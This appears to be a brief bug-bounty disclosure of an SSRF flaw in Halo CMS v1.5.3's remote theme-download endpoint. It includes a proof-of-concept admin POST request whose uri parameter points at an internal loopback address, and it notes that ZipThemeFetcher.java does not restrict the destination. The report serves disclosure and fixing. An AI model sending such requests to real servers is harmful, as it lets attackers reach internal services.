There is an ssrf vulnerability in the template remote download function in halo cms v1.5.3 in halo-dev/halo

[zongdeiqianxing]

https://github.com/halo-dev/halo/

There is an ssrf vulnerability in the template remote download function in halo cms v1.5.3. The attacker needs to enter a link that ends with a zip , such as http://127.0.0.1:40001/1.zip

Proof of Concept

POST /api/admin/themes/fetching?uri=http://127.0.0.1:40000/1.zip HTTP/1.1
Host: 127.0.0.1:8090
Content-Length: 2
Admin-Authorization: 244a0b5340d943ffb8be55bbf3c0db2f
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Content-Type: application/json
Origin: http://127.0.0.1:8090
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8090/admin/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=node08slatpind75xksvtriiymt214.node0
Connection: close

{

permalink: ZipThemeFetcher.java#L43
The destination address is not limited in the code, so it can cause ssrf vulnerability